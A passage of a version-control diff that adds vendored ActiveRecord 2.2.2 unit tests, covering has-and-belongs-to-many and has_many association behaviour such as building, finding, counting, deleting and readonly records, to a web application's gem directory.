+    aredridel.projects.concat([Project.find(1), p = Project.new("name" => "Projekt")])
+    assert aredridel.new_record?
+    assert p.new_record?
+    assert aredridel.save
+    assert !aredridel.new_record?
+    assert_equal no_of_devels+1, Developer.count
+    assert_equal no_of_projects+1, Project.count
+    assert_equal 2, aredridel.projects.size
+    assert_equal 2, aredridel.projects(true).size
+  end
+
+  def test_habtm_saving_multiple_relationships
+    new_project = Project.new("name" => "Grimetime")
+    amount_of_developers = 4
+    developers = (0...amount_of_developers).collect {|i| Developer.create(:name => "JME #{i}") }.reverse
+
+    new_project.developer_ids = [developers[0].id, developers[1].id]
+    new_project.developers_with_callback_ids = [developers[2].id, developers[3].id]
+    assert new_project.save
+
+    new_project.reload
+    assert_equal amount_of_developers, new_project.developers.size
+    assert_equal developers, new_project.developers
+  end
+
+  def test_habtm_unique_order_preserved
+    assert_equal developers(:poor_jamis, :jamis, :david), projects(:active_record).non_unique_developers
+    assert_equal developers(:poor_jamis, :jamis, :david), projects(:active_record).developers
+  end
+
+  def test_build
+    devel = Developer.find(1)
+    proj = assert_no_queries { devel.projects.build("name" => "Projekt") }
+    assert !devel.projects.loaded?
+
+    assert_equal devel.projects.last, proj
+    assert devel.projects.loaded?
+
+    assert proj.new_record?
+    devel.save
+    assert !proj.new_record?
+    assert_equal devel.projects.last, proj
+    assert_equal Developer.find(1).projects.sort_by(&:id).last, proj  # prove join table is updated
+  end
+
+  def test_build_by_new_record
+    devel = Developer.new(:name => "Marcel", :salary => 75000)
+    proj1 = devel.projects.build(:name => "Make bed")
+    proj2 = devel.projects.build(:name => "Lie in it")
+    assert_equal devel.projects.last, proj2
+    assert proj2.new_record?
+    devel.save
+    assert !devel.new_record?
+    assert !proj2.new_record?
+    assert_equal devel.projects.last, proj2
+    assert_equal Developer.find_by_name("Marcel").projects.last, proj2  # prove join table is updated
+  end
+
+  def test_create
+    devel = Developer.find(1)
+    proj = devel.projects.create("name" => "Projekt")
+    assert !devel.projects.loaded?
+
+    assert_equal devel.projects.last, proj
+    assert !devel.projects.loaded?
+
+    assert !proj.new_record?
+    assert_equal Developer.find(1).projects.sort_by(&:id).last, proj  # prove join table is updated
+  end
+
+  def test_create_by_new_record
+    devel = Developer.new(:name => "Marcel", :salary => 75000)
+    proj1 = devel.projects.build(:name => "Make bed")
+    proj2 = devel.projects.build(:name => "Lie in it")
+    assert_equal devel.projects.last, proj2
+    assert proj2.new_record?
+    devel.save
+    assert !devel.new_record?
+    assert !proj2.new_record?
+    assert_equal devel.projects.last, proj2
+    assert_equal Developer.find_by_name("Marcel").projects.last, proj2  # prove join table is updated
+  end
+
+  def test_creation_respects_hash_condition
+    post = categories(:general).post_with_conditions.build(:body => '')
+
+    assert        post.save
+    assert_equal  'Yet Another Testing Title', post.title
+
+    another_post = categories(:general).post_with_conditions.create(:body => '')
+
+    assert        !another_post.new_record?
+    assert_equal  'Yet Another Testing Title', another_post.title
+  end
+
+  def test_uniq_after_the_fact
+    dev = developers(:jamis)
+    dev.projects << projects(:active_record)
+    dev.projects << projects(:active_record)
+
+    assert_equal 3, dev.projects.size
+    assert_equal 1, dev.projects.uniq.size
+  end
+
+  def test_uniq_before_the_fact
+    projects(:active_record).developers << developers(:jamis)
+    projects(:active_record).developers << developers(:david)
+    assert_equal 3, projects(:active_record, :reload).developers.size
+  end
+
+  def test_uniq_option_prevents_duplicate_push
+    project = projects(:active_record)
+    project.developers << developers(:jamis)
+    project.developers << developers(:david)
+    assert_equal 3, project.developers.size
+
+    project.developers << developers(:david)
+    project.developers << developers(:jamis)
+    assert_equal 3, project.developers.size
+  end
+
+  def test_deleting
+    david = Developer.find(1)
+    active_record = Project.find(1)
+    david.projects.reload
+    assert_equal 2, david.projects.size
+    assert_equal 3, active_record.developers.size
+
+    david.projects.delete(active_record)
+
+    assert_equal 1, david.projects.size
+    assert_equal 1, david.projects(true).size
+    assert_equal 2, active_record.developers(true).size
+  end
+
+  def test_deleting_array
+    david = Developer.find(1)
+    david.projects.reload
+    david.projects.delete(Project.find(:all))
+    assert_equal 0, david.projects.size
+    assert_equal 0, david.projects(true).size
+  end
+
+  def test_deleting_with_sql
+    david = Developer.find(1)
+    active_record = Project.find(1)
+    active_record.developers.reload
+    assert_equal 3, active_record.developers_by_sql.size
+
+    active_record.developers_by_sql.delete(david)
+    assert_equal 2, active_record.developers_by_sql(true).size
+  end
+
+  def test_deleting_array_with_sql
+    active_record = Project.find(1)
+    active_record.developers.reload
+    assert_equal 3, active_record.developers_by_sql.size
+
+    active_record.developers_by_sql.delete(Developer.find(:all))
+    assert_equal 0, active_record.developers_by_sql(true).size
+  end
+
+  def test_deleting_all
+    david = Developer.find(1)
+    david.projects.reload
+    david.projects.clear
+    assert_equal 0, david.projects.size
+    assert_equal 0, david.projects(true).size
+  end
+
+  def test_removing_associations_on_destroy
+    david = DeveloperWithBeforeDestroyRaise.find(1)
+    assert !david.projects.empty?
+    assert_nothing_raised { david.destroy }
+    assert david.projects.empty?
+    assert DeveloperWithBeforeDestroyRaise.connection.select_all("SELECT * FROM developers_projects WHERE developer_id = 1").empty?
+  end
+
+  def test_additional_columns_from_join_table
+    assert_date_from_db Date.new(2004, 10, 10), Developer.find(1).projects.first.joined_on.to_date
+  end
+
+  def test_destroy_all
+    david = Developer.find(1)
+    david.projects.reload
+    assert !david.projects.empty?
+    david.projects.destroy_all
+    assert david.projects.empty?
+    assert david.projects(true).empty?
+  end
+
+  def test_deprecated_push_with_attributes_was_removed
+    jamis = developers(:jamis)
+    assert_raise(NoMethodError) do
+      jamis.projects.push_with_attributes(projects(:action_controller), :joined_on => Date.today)
+    end
+  end
+
+  def test_associations_with_conditions
+    assert_equal 3, projects(:active_record).developers.size
+    assert_equal 1, projects(:active_record).developers_named_david.size
+    assert_equal 1, projects(:active_record).developers_named_david_with_hash_conditions.size
+
+    assert_equal developers(:david), projects(:active_record).developers_named_david.find(developers(:david).id)
+    assert_equal developers(:david), projects(:active_record).developers_named_david_with_hash_conditions.find(developers(:david).id)
+    assert_equal developers(:david), projects(:active_record).salaried_developers.find(developers(:david).id)
+
+    projects(:active_record).developers_named_david.clear
+    assert_equal 2, projects(:active_record, :reload).developers.size
+  end
+
+  def test_find_in_association
+    # Using sql
+    assert_equal developers(:david), projects(:active_record).developers.find(developers(:david).id), "SQL find"
+
+    # Using ruby
+    active_record = projects(:active_record)
+    active_record.developers.reload
+    assert_equal developers(:david), active_record.developers.find(developers(:david).id), "Ruby find"
+  end
+
+  def test_include_uses_array_include_after_loaded
+    project = projects(:active_record)
+    project.developers.class # force load target
+
+    developer = project.developers.first
+
+    assert_no_queries do
+      assert project.developers.loaded?
+      assert project.developers.include?(developer)
+    end
+  end
+
+  def test_include_checks_if_record_exists_if_target_not_loaded
+    project = projects(:active_record)
+    developer = project.developers.first
+
+    project.reload
+    assert ! project.developers.loaded?
+    assert_queries(1) do
+      assert project.developers.include?(developer)
+    end
+    assert ! project.developers.loaded?
+  end
+
+  def test_include_returns_false_for_non_matching_record_to_verify_scoping
+    project = projects(:active_record)
+    developer = Developer.create :name => "Bryan", :salary => 50_000
+
+    assert ! project.developers.loaded?
+    assert ! project.developers.include?(developer)
+  end
+
+  def test_find_in_association_with_custom_finder_sql
+    assert_equal developers(:david), projects(:active_record).developers_with_finder_sql.find(developers(:david).id), "SQL find"
+
+    active_record = projects(:active_record)
+    active_record.developers_with_finder_sql.reload
+    assert_equal developers(:david), active_record.developers_with_finder_sql.find(developers(:david).id), "Ruby find"
+  end
+
+  def test_find_in_association_with_custom_finder_sql_and_multiple_interpolations
+    # interpolate once:
+    assert_equal [developers(:david), developers(:jamis), developers(:poor_jamis)], projects(:active_record).developers_with_finder_sql, "first interpolation"
+    # interpolate again, for a different project id
+    assert_equal [developers(:david)], projects(:action_controller).developers_with_finder_sql, "second interpolation"
+  end
+
+  def test_find_in_association_with_custom_finder_sql_and_string_id
+    assert_equal developers(:david), projects(:active_record).developers_with_finder_sql.find(developers(:david).id.to_s), "SQL find"
+  end
+
+  def test_find_with_merged_options
+    assert_equal 1, projects(:active_record).limited_developers.size
+    assert_equal 1, projects(:active_record).limited_developers.find(:all).size
+    assert_equal 3, projects(:active_record).limited_developers.find(:all, :limit => nil).size
+  end
+
+  def test_dynamic_find_should_respect_association_order
+    # Developers are ordered 'name DESC, id DESC'
+    low_id_jamis = developers(:jamis)
+    middle_id_jamis = developers(:poor_jamis)
+    high_id_jamis = projects(:active_record).developers.create(:name => 'Jamis')
+
+    assert_equal high_id_jamis, projects(:active_record).developers.find(:first, :conditions => "name = 'Jamis'")
+    assert_equal high_id_jamis, projects(:active_record).developers.find_by_name('Jamis')
+  end
+
+  def test_dynamic_find_order_should_override_association_order
+    # Developers are ordered 'name DESC, id DESC'
+    low_id_jamis = developers(:jamis)
+    middle_id_jamis = developers(:poor_jamis)
+    high_id_jamis = projects(:active_record).developers.create(:name => 'Jamis')
+
+    assert_equal low_id_jamis, projects(:active_record).developers.find(:first, :conditions => "name = 'Jamis'", :order => 'id')
+    assert_equal low_id_jamis, projects(:active_record).developers.find_by_name('Jamis', :order => 'id')
+  end
+
+  def test_dynamic_find_all_should_respect_association_order
+    # Developers are ordered 'name DESC, id DESC'
+    low_id_jamis = developers(:jamis)
+    middle_id_jamis = developers(:poor_jamis)
+    high_id_jamis = projects(:active_record).developers.create(:name => 'Jamis')
+
+    assert_equal [high_id_jamis, middle_id_jamis, low_id_jamis], projects(:active_record).developers.find(:all, :conditions => "name = 'Jamis'")
+    assert_equal [high_id_jamis, middle_id_jamis, low_id_jamis], projects(:active_record).developers.find_all_by_name('Jamis')
+  end
+
+  def test_dynamic_find_all_order_should_override_association_order
+    # Developers are ordered 'name DESC, id DESC'
+    low_id_jamis = developers(:jamis)
+    middle_id_jamis = developers(:poor_jamis)
+    high_id_jamis = projects(:active_record).developers.create(:name => 'Jamis')
+
+    assert_equal [low_id_jamis, middle_id_jamis, high_id_jamis], projects(:active_record).developers.find(:all, :conditions => "name = 'Jamis'", :order => 'id')
+    assert_equal [low_id_jamis, middle_id_jamis, high_id_jamis], projects(:active_record).developers.find_all_by_name('Jamis', :order => 'id')
+  end
+
+  def test_dynamic_find_all_should_respect_association_limit
+    assert_equal 1, projects(:active_record).limited_developers.find(:all, :conditions => "name = 'Jamis'").length
+    assert_equal 1, projects(:active_record).limited_developers.find_all_by_name('Jamis').length
+  end
+
+  def test_dynamic_find_all_order_should_override_association_limit
+    assert_equal 2, projects(:active_record).limited_developers.find(:all, :conditions => "name = 'Jamis'", :limit => 9_000).length
+    assert_equal 2, projects(:active_record).limited_developers.find_all_by_name('Jamis', :limit => 9_000).length
+  end
+
+  def test_dynamic_find_all_should_respect_readonly_access
+    projects(:active_record).readonly_developers.each { |d| assert_raise(ActiveRecord::ReadOnlyRecord) { d.save!  } if d.valid?}
+    projects(:active_record).readonly_developers.each { |d| d.readonly? }
+  end
+
+  def test_new_with_values_in_collection
+    jamis = DeveloperForProjectWithAfterCreateHook.find_by_name('Jamis')
+    david = DeveloperForProjectWithAfterCreateHook.find_by_name('David')
+    project = ProjectWithAfterCreateHook.new(:name => "Cooking with Bertie")
+    project.developers << jamis
+    project.save!
+    project.reload
+
+    assert project.developers.include?(jamis)
+    assert project.developers.include?(david)
+  end
+
+  def test_find_in_association_with_options
+    developers = projects(:active_record).developers.find(:all)
+    assert_equal 3, developers.size
+
+    assert_equal developers(:poor_jamis), projects(:active_record).developers.find(:first, :conditions => "salary < 10000")
+    assert_equal developers(:jamis),      projects(:active_record).developers.find(:first, :order => "salary DESC")
+  end
+
+  def test_replace_with_less
+    david = developers(:david)
+    david.projects = [projects(:action_controller)]
+    assert david.save
+    assert_equal 1, david.projects.length
+  end
+
+  def test_replace_with_new
+    david = developers(:david)
+    david.projects = [projects(:action_controller), Project.new("name" => "ActionWebSearch")]
+    david.save
+    assert_equal 2, david.projects.length
+    assert !david.projects.include?(projects(:active_record))
+  end
+
+  def test_replace_on_new_object
+    new_developer = Developer.new("name" => "Matz")
+    new_developer.projects = [projects(:action_controller), Project.new("name" => "ActionWebSearch")]
+    new_developer.save
+    assert_equal 2, new_developer.projects.length
+  end
+
+  def test_consider_type
+    developer = Developer.find(:first)
+    special_project = SpecialProject.create("name" => "Special Project")
+
+    other_project = developer.projects.first
+    developer.special_projects << special_project
+    developer.reload
+
+    assert developer.projects.include?(special_project)
+    assert developer.special_projects.include?(special_project)
+    assert !developer.special_projects.include?(other_project)
+  end
+
+  def test_update_attributes_after_push_without_duplicate_join_table_rows
+    developer = Developer.new("name" => "Kano")
+    project = SpecialProject.create("name" => "Special Project")
+    assert developer.save
+    developer.projects << project
+    developer.update_attribute("name", "Bruza")
+    assert_equal 1, Developer.connection.select_value(<<-end_sql).to_i
+      SELECT count(*) FROM developers_projects
+      WHERE project_id = #{project.id}
+      AND developer_id = #{developer.id}
+    end_sql
+  end
+
+  def test_updating_attributes_on_non_rich_associations
+    welcome = categories(:technology).posts.first
+    welcome.title = "Something else"
+    assert welcome.save!
+  end
+
+  def test_habtm_respects_select
+    categories(:technology).select_testing_posts(true).each do |o|
+      assert_respond_to o, :correctness_marker
+    end
+    assert_respond_to categories(:technology).select_testing_posts.find(:first), :correctness_marker
+  end
+
+  def test_updating_attributes_on_rich_associations
+    david = projects(:action_controller).developers.first
+    david.name = "DHH"
+    assert_raises(ActiveRecord::ReadOnlyRecord) { david.save! }
+  end
+
+  def test_updating_attributes_on_rich_associations_with_limited_find_from_reflection
+    david = projects(:action_controller).selected_developers.first
+    david.name = "DHH"
+    assert_nothing_raised { david.save! }
+  end
+
+
+  def test_updating_attributes_on_rich_associations_with_limited_find
+    david = projects(:action_controller).developers.find(:all, :select => "developers.*").first
+    david.name = "DHH"
+    assert david.save!
+  end
+
+  def test_join_table_alias
+    assert_equal 3, Developer.find(:all, :include => {:projects => :developers}, :conditions => 'developers_projects_join.joined_on IS NOT NULL').size
+  end
+
+  def test_join_with_group
+    group = Developer.columns.inject([]) do |g, c|
+      g << "developers.#{c.name}"
+      g << "developers_projects_2.#{c.name}"
+    end
+    Project.columns.each { |c| group << "projects.#{c.name}" }
+
+    assert_equal 3, Developer.find(:all, :include => {:projects => :developers}, :conditions => 'developers_projects_join.joined_on IS NOT NULL', :group => group.join(",")).size
+  end
+
+  def test_find_grouped
+    all_posts_from_category1 = Post.find(:all, :conditions => "category_id = 1", :joins => :categories)
+    grouped_posts_of_category1 = Post.find(:all, :conditions => "category_id = 1", :group => "author_id", :select => 'count(posts.id) as posts_count', :joins => :categories)
+    assert_equal 4, all_posts_from_category1.size
+    assert_equal 1, grouped_posts_of_category1.size
+  end
+
+  def test_find_scoped_grouped
+    assert_equal 4, categories(:general).posts_gruoped_by_title.size
+    assert_equal 1, categories(:technology).posts_gruoped_by_title.size
+  end
+
+  def test_get_ids
+    assert_equal projects(:active_record, :action_controller).map(&:id).sort, developers(:david).project_ids.sort
+    assert_equal [projects(:active_record).id], developers(:jamis).project_ids
+  end
+
+  def test_get_ids_for_loaded_associations
+    developer = developers(:david)
+    developer.projects(true)
+    assert_queries(0) do
+      developer.project_ids
+      developer.project_ids
+    end
+  end
+
+  def test_get_ids_for_unloaded_associations_does_not_load_them
+    developer = developers(:david)
+    assert !developer.projects.loaded?
+    assert_equal projects(:active_record, :action_controller).map(&:id).sort, developer.project_ids.sort
+    assert !developer.projects.loaded?
+  end
+
+  def test_assign_ids
+    developer = Developer.new("name" => "Joe")
+    developer.project_ids = projects(:active_record, :action_controller).map(&:id)
+    developer.save
+    developer.reload
+    assert_equal 2, developer.projects.length
+    assert_equal [projects(:active_record), projects(:action_controller)].map(&:id).sort, developer.project_ids.sort
+  end
+
+  def test_assign_ids_ignoring_blanks
+    developer = Developer.new("name" => "Joe")
+    developer.project_ids = [projects(:active_record).id, nil, projects(:action_controller).id, '']
+    developer.save
+    developer.reload
+    assert_equal 2, developer.projects.length
+    assert_equal [projects(:active_record), projects(:action_controller)].map(&:id).sort, developer.project_ids.sort
+  end
+
+  def test_select_limited_ids_list
+    # Set timestamps
+    Developer.transaction do
+      Developer.find(:all, :order => 'id').each_with_index do |record, i|
+        record.update_attributes(:created_at => 5.years.ago + (i * 5.minutes))
+      end
+    end
+
+    join_base = ActiveRecord::Associations::ClassMethods::JoinDependency::JoinBase.new(Project)
+    join_dep  = ActiveRecord::Associations::ClassMethods::JoinDependency.new(join_base, :developers, nil)
+    projects  = Project.send(:select_limited_ids_list, {:order => 'developers.created_at'}, join_dep)
+    assert !projects.include?("'"), projects
+    assert_equal %w(1 2), projects.scan(/\d/).sort
+  end
+
+  def test_scoped_find_on_through_association_doesnt_return_read_only_records
+    tag = Post.find(1).tags.find_by_name("General")
+
+    assert_nothing_raised do
+      tag.save!
+    end
+  end
+
+  def test_has_many_through_polymorphic_has_manys_works
+    assert_equal [10, 20].to_set, pirates(:redbeard).treasure_estimates.map(&:price).to_set
+  end
+
+  def test_symbols_as_keys
+    developer = DeveloperWithSymbolsForKeys.new(:name => 'David')
+    project = ProjectWithSymbolsForKeys.new(:name => 'Rails Testing')
+    project.developers << developer
+    project.save!
+
+    assert_equal 1, project.developers.size
+    assert_equal 1, developer.projects.size
+    assert_equal developer, project.developers.find(:first)
+    assert_equal project, developer.projects.find(:first)
+  end
+
+  def test_dynamic_find_should_respect_association_include
+    # SQL error in sort clause if :include is not included
+    # due to Unknown column 'authors.id'
+    assert Category.find(1).posts_with_authors_sorted_by_author_id.find_by_title('Welcome to the weblog')
+  end
+
+  def test_counting_on_habtm_association_and_not_array
+    david = Developer.find(1)
+    # Extra parameter just to make sure we aren't falling back to
+    # Array#count in Ruby >=1.8.7, which would raise an ArgumentError
+    assert_nothing_raised { david.projects.count(:all, :conditions => '1=1') }
+  end
+
+  def test_count
+    david = Developer.find(1)
+    assert_equal 2, david.projects.count
+  end
+
+  def test_count_with_counter_sql
+    developer  = DeveloperWithCounterSQL.create(:name => 'tekin')
+    developer.project_ids = [projects(:active_record).id]
+    developer.save
+    developer.reload
+    assert_equal 1, developer.projects.count
+  end
+
+  uses_mocha 'mocking Post.transaction' do
+    def test_association_proxy_transaction_method_starts_transaction_in_association_class
+      Post.expects(:transaction)
+      Category.find(:first).posts.transaction do
+        # nothing
+      end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/cases/associations/has_many_associations_test.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/cases/associations/has_many_associations_test.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/cases/associations/has_many_associations_test.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,1101 @@
+require "cases/helper"
+require 'models/developer'
+require 'models/project'
+require 'models/company'
+require 'models/topic'
+require 'models/reply'
+require 'models/category'
+require 'models/post'
+require 'models/author'
+require 'models/comment'
+require 'models/person'
+require 'models/reader'
+
+class HasManyAssociationsTest < ActiveRecord::TestCase
+  fixtures :accounts, :categories, :companies, :developers, :projects,
+           :developers_projects, :topics, :authors, :comments, :author_addresses,
+           :people, :posts, :readers
+
+  def setup
+    Client.destroyed_client_ids.clear
+  end
+
+  def force_signal37_to_load_all_clients_of_firm
+    companies(:first_firm).clients_of_firm.each {|f| }
+  end
+
+  def test_counting_with_counter_sql
+    assert_equal 2, Firm.find(:first).clients.count
+  end
+
+  def test_counting
+    assert_equal 2, Firm.find(:first).plain_clients.count
+  end
+
+  def test_counting_with_empty_hash_conditions
+    assert_equal 2, Firm.find(:first).plain_clients.count(:conditions => {})
+  end
+
+  def test_counting_with_single_conditions
+    assert_equal 1, Firm.find(:first).plain_clients.count(:conditions => ['name=?', "Microsoft"])
+  end
+
+  def test_counting_with_single_hash
+    assert_equal 1, Firm.find(:first).plain_clients.count(:conditions => {:name => "Microsoft"})
+  end
+
+  def test_counting_with_column_name_and_hash
+    assert_equal 2, Firm.find(:first).plain_clients.count(:name)
+  end
+
+  def test_counting_with_association_limit
+    firm = companies(:first_firm)
+    assert_equal firm.limited_clients.length, firm.limited_clients.size
+    assert_equal firm.limited_clients.length, firm.limited_clients.count
+  end
+
+  def test_finding
+    assert_equal 2, Firm.find(:first).clients.length
+  end
+
+  def test_find_with_blank_conditions
+    [[], {}, nil, ""].each do |blank|
+      assert_equal 2, Firm.find(:first).clients.find(:all, :conditions => blank).size
+    end
+  end
+
+  def test_find_many_with_merged_options
+    assert_equal 1, companies(:first_firm).limited_clients.size
+    assert_equal 1, companies(:first_firm).limited_clients.find(:all).size
+    assert_equal 2, companies(:first_firm).limited_clients.find(:all, :limit => nil).size
+  end
+
+  def test_dynamic_find_should_respect_association_order
+    assert_equal companies(:second_client), companies(:first_firm).clients_sorted_desc.find(:first, :conditions => "type = 'Client'")
+    assert_equal companies(:second_client), companies(:first_firm).clients_sorted_desc.find_by_type('Client')
+  end
+
+  def test_dynamic_find_order_should_override_association_order
+    assert_equal companies(:first_client), companies(:first_firm).clients_sorted_desc.find(:first, :conditions => "type = 'Client'", :order => 'id')
+    assert_equal companies(:first_client), companies(:first_firm).clients_sorted_desc.find_by_type('Client', :order => 'id')
+  end
+
+  def test_dynamic_find_all_should_respect_association_order
+    assert_equal [companies(:second_client), companies(:first_client)], companies(:first_firm).clients_sorted_desc.find(:all, :conditions => "type = 'Client'")
+    assert_equal [companies(:second_client), companies(:first_client)], companies(:first_firm).clients_sorted_desc.find_all_by_type('Client')
+  end
+
+  def test_dynamic_find_all_order_should_override_association_order
+    assert_equal [companies(:first_client), companies(:second_client)], companies(:first_firm).clients_sorted_desc.find(:all, :conditions => "type = 'Client'", :order => 'id')
+    assert_equal [companies(:first_client), companies(:second_client)], companies(:first_firm).clients_sorted_desc.find_all_by_type('Client', :order => 'id')
+  end
+
+  def test_dynamic_find_all_should_respect_association_limit
+    assert_equal 1, companies(:first_firm).limited_clients.find(:all, :conditions => "type = 'Client'").length
+    assert_equal 1, companies(:first_firm).limited_clients.find_all_by_type('Client').length
+  end
+
+  def test_dynamic_find_all_limit_should_override_association_limit
+    assert_equal 2, companies(:first_firm).limited_clients.find(:all, :conditions => "type = 'Client'", :limit => 9_000).length
+    assert_equal 2, companies(:first_firm).limited_clients.find_all_by_type('Client', :limit => 9_000).length
+  end
+
+  def test_dynamic_find_all_should_respect_readonly_access
+    companies(:first_firm).readonly_clients.find(:all).each { |c| assert_raise(ActiveRecord::ReadOnlyRecord) { c.save!  } }
+    companies(:first_firm).readonly_clients.find(:all).each { |c| assert c.readonly? }
+  end
+
+  def test_cant_save_has_many_readonly_association
+    authors(:david).readonly_comments.each { |c| assert_raise(ActiveRecord::ReadOnlyRecord) { c.save! } }
+    authors(:david).readonly_comments.each { |c| assert c.readonly? }
+  end
+
+  def test_triple_equality
+    assert !(Array === Firm.find(:first).clients)
+    assert Firm.find(:first).clients === Array
+  end
+
+  def test_finding_default_orders
+    assert_equal "Summit", Firm.find(:first).clients.first.name
+  end
+
+  def test_finding_with_different_class_name_and_order
+    assert_equal "Microsoft", Firm.find(:first).clients_sorted_desc.first.name
+  end
+
+  def test_finding_with_foreign_key
+    assert_equal "Microsoft", Firm.find(:first).clients_of_firm.first.name
+  end
+
+  def test_finding_with_condition
+    assert_equal "Microsoft", Firm.find(:first).clients_like_ms.first.name
+  end
+
+  def test_finding_with_condition_hash
+    assert_equal "Microsoft", Firm.find(:first).clients_like_ms_with_hash_conditions.first.name
+  end
+
+  def test_finding_using_primary_key
+    assert_equal "Summit", Firm.find(:first).clients_using_primary_key.first.name
+  end
+
+  def test_finding_using_sql
+    firm = Firm.find(:first)
+    first_client = firm.clients_using_sql.first
+    assert_not_nil first_client
+    assert_equal "Microsoft", first_client.name
+    assert_equal 1, firm.clients_using_sql.size
+    assert_equal 1, Firm.find(:first).clients_using_sql.size
+  end
+
+  def test_counting_using_sql
+    assert_equal 1, Firm.find(:first).clients_using_counter_sql.size
+    assert Firm.find(:first).clients_using_counter_sql.any?
+    assert_equal 0, Firm.find(:first).clients_using_zero_counter_sql.size
+    assert !Firm.find(:first).clients_using_zero_counter_sql.any?
+  end
+
+  def test_counting_non_existant_items_using_sql
+    assert_equal 0, Firm.find(:first).no_clients_using_counter_sql.size
+  end
+
+  def test_belongs_to_sanity
+    c = Client.new
+    assert_nil c.firm
+
+    if c.firm
+      assert false, "belongs_to failed if check"
+    end
+
+    unless c.firm
+    else
+      assert false,  "belongs_to failed unless check"
+    end
+  end
+
+  def test_find_ids
+    firm = Firm.find(:first)
+
+    assert_raises(ActiveRecord::RecordNotFound) { firm.clients.find }
+
+    client = firm.clients.find(2)
+    assert_kind_of Client, client
+
+    client_ary = firm.clients.find([2])
+    assert_kind_of Array, client_ary
+    assert_equal client, client_ary.first
+
+    client_ary = firm.clients.find(2, 3)
+    assert_kind_of Array, client_ary
+    assert_equal 2, client_ary.size
+    assert_equal client, client_ary.first
+
+    assert_raises(ActiveRecord::RecordNotFound) { firm.clients.find(2, 99) }
+  end
+
+  def test_find_string_ids_when_using_finder_sql
+    firm = Firm.find(:first)
+
+    client = firm.clients_using_finder_sql.find("2")
+    assert_kind_of Client, client
+
+    client_ary = firm.clients_using_finder_sql.find(["2"])
+    assert_kind_of Array, client_ary
+    assert_equal client, client_ary.first
+
+    client_ary = firm.clients_using_finder_sql.find("2", "3")
+    assert_kind_of Array, client_ary
+    assert_equal 2, client_ary.size
+    assert client_ary.include?(client)
+  end
+
+  def test_find_all
+    firm = Firm.find(:first)
+    assert_equal 2, firm.clients.find(:all, :conditions => "#{QUOTED_TYPE} = 'Client'").length
+    assert_equal 1, firm.clients.find(:all, :conditions => "name = 'Summit'").length
+  end
+
+  def test_find_all_sanitized
+    firm = Firm.find(:first)
+    summit = firm.clients.find(:all, :conditions => "name = 'Summit'")
+    assert_equal summit, firm.clients.find(:all, :conditions => ["name = ?", "Summit"])
+    assert_equal summit, firm.clients.find(:all, :conditions => ["name = :name", { :name => "Summit" }])
+  end
+
+  def test_find_first
+    firm = Firm.find(:first)
+    client2 = Client.find(2)
+    assert_equal firm.clients.first, firm.clients.find(:first)
+    assert_equal client2, firm.clients.find(:first, :conditions => "#{QUOTED_TYPE} = 'Client'")
+  end
+
+  def test_find_first_sanitized
+    firm = Firm.find(:first)
+    client2 = Client.find(2)
+    assert_equal client2, firm.clients.find(:first, :conditions => ["#{QUOTED_TYPE} = ?", 'Client'])
+    assert_equal client2, firm.clients.find(:first, :conditions => ["#{QUOTED_TYPE} = :type", { :type => 'Client' }])
+  end
+
+  def test_find_in_collection
+    assert_equal Client.find(2).name, companies(:first_firm).clients.find(2).name
+    assert_raises(ActiveRecord::RecordNotFound) { companies(:first_firm).clients.find(6) }
+  end
+
+  def test_find_grouped
+    all_clients_of_firm1 = Client.find(:all, :conditions => "firm_id = 1")
+    grouped_clients_of_firm1 = Client.find(:all, :conditions => "firm_id = 1", :group => "firm_id", :select => 'firm_id, count(id) as clients_count')
+    assert_equal 2, all_clients_of_firm1.size
+    assert_equal 1, grouped_clients_of_firm1.size
+  end
+
+  def test_find_scoped_grouped
+    assert_equal 1, companies(:first_firm).clients_grouped_by_firm_id.size
+    assert_equal 1, companies(:first_firm).clients_grouped_by_firm_id.length
+    assert_equal 2, companies(:first_firm).clients_grouped_by_name.size
+    assert_equal 2, companies(:first_firm).clients_grouped_by_name.length
+  end
+
+  def test_adding
+    force_signal37_to_load_all_clients_of_firm
+    natural = Client.new("name" => "Natural Company")
+    companies(:first_firm).clients_of_firm << natural
+    assert_equal 2, companies(:first_firm).clients_of_firm.size # checking via the collection
+    assert_equal 2, companies(:first_firm).clients_of_firm(true).size # checking using the db
+    assert_equal natural, companies(:first_firm).clients_of_firm.last
+  end
+
+  def test_adding_using_create
+    first_firm = companies(:first_firm)
+    assert_equal 2, first_firm.plain_clients.size
+    natural = first_firm.plain_clients.create(:name => "Natural Company")
+    assert_equal 3, first_firm.plain_clients.length
+    assert_equal 3, first_firm.plain_clients.size
+  end
+
+  def test_create_with_bang_on_has_many_when_parent_is_new_raises
+    assert_raises(ActiveRecord::RecordNotSaved) do
+      firm = Firm.new
+      firm.plain_clients.create! :name=>"Whoever"
+    end
+  end
+
+  def test_regular_create_on_has_many_when_parent_is_new_raises
+    assert_raises(ActiveRecord::RecordNotSaved) do
+      firm = Firm.new
+      firm.plain_clients.create :name=>"Whoever"
+    end
+  end
+
+  def test_create_with_bang_on_has_many_raises_when_record_not_saved
+    assert_raises(ActiveRecord::RecordInvalid) do
+      firm = Firm.find(:first)
+      firm.plain_clients.create!
+    end
+  end
+
+  def test_create_with_bang_on_habtm_when_parent_is_new_raises
+    assert_raises(ActiveRecord::RecordNotSaved) do
+      Developer.new("name" => "Aredridel").projects.create!
+    end
+  end
+
+  def test_adding_a_mismatch_class
+    assert_raises(ActiveRecord::AssociationTypeMismatch) { companies(:first_firm).clients_of_firm << nil }
+    assert_raises(ActiveRecord::AssociationTypeMismatch) { companies(:first_firm).clients_of_firm << 1 }
+    assert_raises(ActiveRecord::AssociationTypeMismatch) { companies(:first_firm).clients_of_firm << Topic.find(1) }
+  end
+
+  def test_adding_a_collection
+    force_signal37_to_load_all_clients_of_firm
+    companies(:first_firm).clients_of_firm.concat([Client.new("name" => "Natural Company"), Client.new("name" => "Apple")])
+    assert_equal 3, companies(:first_firm).clients_of_firm.size
+    assert_equal 3, companies(:first_firm).clients_of_firm(true).size
+  end
+
+  def test_adding_before_save
+    no_of_firms = Firm.count
+    no_of_clients = Client.count
+
+    new_firm = Firm.new("name" => "A New Firm, Inc")
+    c = Client.new("name" => "Apple")
+
+    new_firm.clients_of_firm.push Client.new("name" => "Natural Company")
+    assert_equal 1, new_firm.clients_of_firm.size
